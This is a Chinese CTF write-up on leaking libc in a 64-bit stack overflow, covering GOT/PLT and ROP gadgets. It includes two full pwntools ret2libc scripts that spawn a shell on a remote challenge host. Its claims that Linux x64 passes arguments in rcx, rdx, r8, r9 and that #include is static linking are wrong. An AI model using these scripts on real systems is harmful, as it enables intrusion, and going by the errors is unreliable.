最近开始学PWN,本以为栈溢出也就那些东西,看来是我少虑了…
在这里对这几天所学习的64位栈溢出泄露Libc的相关知识做一个小总结,当然,如果可以帮助到在读文章的你就更好啦。如果文中有错误,也希望各位大佬予以斧正。

什么是LIbc?

这个就是libc

这是一个动态链接文件

那么什么是动态链接和静态链接?

可以理解为:
静态链接:在程序编译的过程中,就预先把代码加载进程序中

//比如大家都经常写的,就是包含了静态链接库
#include<stdio.h>

存放在/usr/include/stdio.h

动态链接:在程序运行的时候,才会去寻找库文件,取出里面的代码放进内存运行(平常运行Windows时会弹出的找不到 ***.dll文件,就是动态链接)

为什么要泄露动态链接库的内容?

在平常做PWN的时候,劫持EIP要指向程序中我们想要执行的函数(例如基础题中的system("/bin/sh")等)的地址,会遇到程序中既没有system函数,也没有/bin/sh字符串的情况,而libc.so文件中是有system函数和这个字符串的,可由于程序运行在客户端,且这些函数是动态加载进内存的,这部分每次运行代码所在的内存地址都不一定相同,因此拖进IDA是解决不了问题的。
这时一般就会需要使用泄露libc中system的地址。关于动态链接等知识博客有不少大佬讲的非常详细,此处仅仅介绍此次需要的知识。
这里注意以下几点

  • libc.so中的代码映射进内存后的结构是不变的:例如函数func1,func2,func3
假设在文件中的地址是0x40030,0x40060,0x40090的相对位置是不变的,
但是加载进内存后会加一个基地址,
此时的三个函数地址可能变为0x40130,0x40160,0x40190,
每一个函数的地址都加了一个基地址0x00100
  • 根据系统的版本不同,系统中所使用的libc的版本也会有所差别。
可依靠工具,如LibSearch或者DynELF根据泄露的函数地址
寻找对应的Libc版本和system函数在libc中的位置(下面会讲到)

什么是GOT和PLT表?

使用动态调试的时候,各位一定见过这个符号

话说call puts后面为什么要添加一个@呢?
与此对比,内部函数则没有:

全称如下:
GOT(Global Offset Table)全局偏移表
PLT(Procedure Linkage Table)程序链接表

网上许多博客大佬们的文章解释的非常详细,在此仅讲述打PWN所用到的部分

我们需要用到的知识有以下几点:

  • PLT和GOT表的作用是进行函数的重定向
  • PLT与GOT是一种映射的关系。PLT中存储的是GOT的地址,而GOT存储的是此函数的真正地址,一次在调用函数时要访问plt表,根据plt表的索引找到got表,再根据got表找到函数的真正地址。
例如read函数
plt['read']->GOT['read'].address
GOT['read']->read.address
由此可知,当我们使用指令 call [rbp] 时,rbp存储的应该是GOT['read']而我们使用指令 call rbp时,rbp储存的应该是plt['read']不懂为什么的同学自己补一下汇编语言(`・ω・´)

64位和32位程序在函数传参方面的不同

  • 32位程序优先使用栈来传递参数(如__cdecl和__stdcall),参数从右往左压入栈,然后执行call指令进行跳转到函数位置。
  • 64位程序优先使用寄存器来进行存储参数,通常情况下, 前4个参数分别是 rcx rdx r8 r9从左到右放入寄存器进行传参,多余的参数通过栈传参。 PS:64位程序中rbp不当做栈底指针,当做通用寄存器。

因此在传参方面决定了我们在使用栈溢出时,必须要使用gadget进行传参

gadget

由上文的解释,对64位程序进行溢出时不能再使用32位的方法,单纯的将参数压入栈即可,不放进寄存器直接执行函数显然不能达到目的,因此就需要一段代码,帮助我们把自己的参数放进寄存器后再进入函数,这段代码就是gadget。

寻找方法

安装了pwntools后,执行如下命令即可(此处以攻防世界的"pwn-100"为例):ROPgadget --binary ./pwn-100 --only "pop|ret"

执行结果如下:
根据地址在IDA中查找对应的指令:

0x40075c到0x400764:刚好满足了我们传参的要求,将当前栈中的内容弹出传入寄存器中,我们只需要根据其执行顺序,构造栈中的内容即可控制寄存器。结尾有retn,这个指令的意思是弹出当前栈顶的值,并转移到这个值所标识的地址,也就是说我们也可以控制下一步的走向。
0x400740到0x400749:将寄存器中的值当做参数传给rdx,rsi,edi,然后以r12的指向的值作为地址进行跳转,其中的r13~r15以及rbx均可在上一段代码中控制。
简直是溢出专用代码,岂不美哉!!

  • 此处要注意一点,根据你所调用的函数的参数个数选择溢出后的第一个地址;若想劫持到只有一个参数的函数,比如put,跳转到0x400762即可,也就是pop r15,传递一个参数足以,与其对应的,retn跳转则需要跳转到0x400746足以。

例题 攻防世界 pwn-100

进入存在漏洞的函数


函数实现不断读取输入进内存,然而传入的v1的内存大小只有0x40(不明白的同学看下图,并顺便补一下汇编指令 ),而读取的内容有200,显然可以进行栈溢出。

这里选择泄露read函数的地址(当然你选择泄露别的库函数我也管不了 )

#coding:utf8
#用于基础的64位ROP链的构造
from pwn import *
from LibcSearcher import *
p=remote('111.198.29.45',39050)
#p=process('./pwn-100')
#由于使用Kali的原因,本地打不了,应当换成Ubuntu
elf=ELF('./pwn-100')
#加载本地文件
rop1=0x0400763
#找到的gadget,使用命令:ROPgadget --binary ./pwn-100 --only "pop|ret"
#寻找到可以传参的代码段
mainaddr=0x04006B8
#主函数地址,由于内存地址动态变化,一会儿要回到主函数继续本次执行payload=0x48*'a'+p64(rop1)+p64(elf.got['read'])+p64(elf.plt['puts'])+p64(mainaddr)
#构造payload junk gadget   r15                  retn                 retn
payload=payload.ljust(200,'\x00')
#补全数据,使第一次程序运行完整
p.send(payload)
p.recvuntil('bye~\n')
#此处第一次main函数运行完成
s=u64(p.recv().replace('\n','').ljust(8,'\x00'))
#获得泄露的地址,由于调用puts函数,返回的值里面会追加一个'\n',这里手动去掉,ljust用于补全位为八位
#继续运行获取payload构造的puts函数的输出
obj=LibcSearcher("read",s)
#根据泄露的地址获得对应的Libc版本
libcbase=s-obj.dump('read')
#获取对应版本中的read的文件偏移地址,并计算出本次加载进内存后的偏移量
system_addr=libcbase+obj.dump('system')
#获取程序中system的地址
binsh_addr=libcbase+obj.dump('str_bin_sh')
#获取程序中的'/bin/sh'的地址
payload2='a'*0x048+p64(rop1)+p64(binsh_addr)+p64(system_addr)#+'a'*(0xC8-0x48-24)
#故技重施,这次开始真正的获取system函数
payload2=payload2.ljust(200,'a')
p.send(payload2)
p.interactive()

此题的解法不唯一,/bin/sh字符串也可以调用read函数写进内存中,供以后调用
**使用gdb查看内存:**使用指令vmmap

找到一块具有写权限的内存地址

#coding:utf8
from pwn import *
from LibcSearcher import *
p=remote('111.198.29.45',39050)
#p=process('./pwn-100')
elf=ELF('./pwn-100')
read_got=elf.got['read']
puts_plt=elf.plt['puts']
write_bin_rop_1 = 0x40075A
write_bin_rop_2 = 0x400740
rop_edi=0x0400763
start_addr=0x0400550
payload='a'*0x48+p64(rop_edi)+p64(read_got)+p64(puts_plt)+p64(start_addr)
payload=payload.ljust(200,'\x00')
p.send(payload)
p.recvuntil('bye~\n')
read_addr=u64(p.recv().replace('\n','').ljust(8,'\x00'))
#read_addr=u64(p.recv().split('\n')[0].ljust(8,'\x00'))
#read_addr=u64(p.recv().ljust(8,'\x00'))
obj=LibcSearcher('read',read_addr)
base=read_addr-obj.dump('read')
System_addr=base+obj.dump('system')
# Binsh_addr=base+obj.dump('str_bin_sh')
Bin_addr=0x601000
payload3='a'*0x48+p64(write_bin_rop_1)+p64(0)+p64(1)+p64(elf.got['read'])+p64(8)+p64(Bin_addr)+p64(1)+p64(write_bin_rop_2)+'a'*56+p64(start_addr)
payload3=payload3.ljust(200,'a')
p.send(payload3)
p.recvuntil('bye~\n')
p.send('/bin/sh\x00')
payload4='a'*0x48+p64(rop_edi)+p64(Bin_addr)+p64(System_addr)
payload4=payload4.ljust(200,'a')
p.send(payload4)
p.interactive()

什么是gadget,以及64位libc如何泄露的问题相关推荐

  1. linux 进程映射空间 libc,为什么不能在64位内核的32位Linux进程中映射(MAP_FIXED)最高虚拟页面?...

    尝试测试时是否允许访问跨越x86中零边界的内存?在Linux的用户空间中,我编写了一个32位测试程序,该程序试图映射32位虚拟地址空间的低和高页. 之后echo 0 | sudo tee /proc/ ...

  2. 20145236《网络对抗》进阶实验——64位Ubuntu 17.10.1 ROP攻击

    20145236<网络对抗>进阶实验--64位Ubuntu 17.10.1 ROP攻击 基础知识 ROP攻击 ROP全称为Retrun-oriented Programmming(面向返回 ...

  3. c语言u64数据类型打印,小谈C语言中常见数据类型在32及64位机上的使用

    1.概述 C语言有一些非常基本的数据类型,正是这些基本类型让我们可以延伸了无限的用户自定义类型,本文主要介绍了 int, size_t, time_t, long, long long int 等基本 ...

  4. 64位传参利用方法LibcSearcher使用入门ROPgadget利用

    ROP,需要通过puts函数泄露read函数地址,ROP时用puts函数的地址覆盖返回地址,用read函数的GOT表地址作为puts的参数传入.但是64位程序的函数传参是通过寄存器+堆栈的方式,因此无 ...

  5. linux oracle bad elf,oracle11g安装到red hat6.2 64位系统报错:/lib/ld-linux.so.2: bad ELF interpreter...

    oracle11g安装到red hat6.2 64位系统报错:/lib/ld-linux.so.2: bad ELF interpreter 1.问题如下: [oracle@just ~]$ cd d ...

  6. java 位运算取8位_Java 9 AOT 试用:仅支持 64 位 Linux和java.base 模块编译

    Java 9 引入了 aot 编译方式,能够将 class 文件直接编译成可执行二进制文件.目前 Java 9 的 early access 版本已经提供了编译工具,让我们来看看它的功能吧. 注意:按 ...

  7. linux32位运行64位程序,32位windows下可以运行的程序在64位linux下报错

    已结贴√ 问题点数:20 回复次数:3 32位windows下可以运行的程序在64位linux下报错 filt.c在32位windows code:blocks 10.05下运行无任何异样. 传到64 ...

  8. Android 系统(236)---了解 64 位版本

    了解 64 位版本 概览 从编译系统的角度来看,最显著的变化是现在支持在同一次编译中为两种目标 CPU 架构(64 位和 32 位)编译二进制文件.这也称为"多库编译". 对于本机 ...

  9. linux 内存使用很大,在32位和64位Linux上,为什么同一进程的pmap的内存使用量会有很大差异?...

    我正在设置一台新服务器(64位Debian),并试图使apache进程尽可能小,从而禁用了我不需要的任何模块.然后,我将pmap输出与32位Debian机器上的apache进行了比较,并打开了更多模块 ...

最新文章

  1. 语言中knitr_R语言软件包的批量引用
  2. 配电技术——配电线路系统电气设备详解
  3. Python基础教程: with语句详解
  4. Matlab xcorr函数详解
  5. 动态页面技术(JSP/EL/JSTL)
  6. easyui tab页面关闭根据回调函数刷新父tab页
  7. 计算机会计系统管理,会计电算化系统管理实验报告.doc
  8. react routers路由地址 F5刷新白屏
  9. 学习游戏服务器编程进阶篇之全球同服技术架构
  10. 什么是http及RFC?
  11. Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon runn
  12. Vue中keep-alive用法
  13. \U672a\U77e5\U9519\U8bef 字符还原
  14. 为 Macbook Pro 选择外接键盘
  15. 阿里巴巴最新总结「百亿级别并发设计手册」GitHub收获70K标星
  16. CATIA 二次开发 C#
  17. 地震发生时,我们如何避震自救?
  18. 华硕笔记本电脑怎么恢复出厂设置,华硕恢复出厂设置教程
  19. html5一键导航代码,网页端利用百度地图接口,制作一键导航功能
  20. 微信跳转 微信自动跳转手机默认浏览器的工作原理及源码

热门文章

  1. 线程中使用AttachCurrentThread得到JNIEnv
  2. FTP 的Java客户端操作
  3. TOP16榜首之SQL注入<宝藏文--- 工具实战演习 > -- -- 小黑渗透工程栈( 基础篇3 )
  4. 产线写号工具写Google key及TEE key操作流程v2.0
  5. maven lifestyle 下的clean,package,install等命令作用及区别
  6. MATLAB 删除指定文件夹内的文件夹及多个子文件夹
  7. java毕业设计服装生产管理系统mybatis+源码+调试部署+系统+数据库+lw
  8. FTP 多用户各自独立访问空间
  9. 如何获得汽车控制权限?
  10. SMART S7-200PLC流量累计算法实现(梯形图算法详解+优化)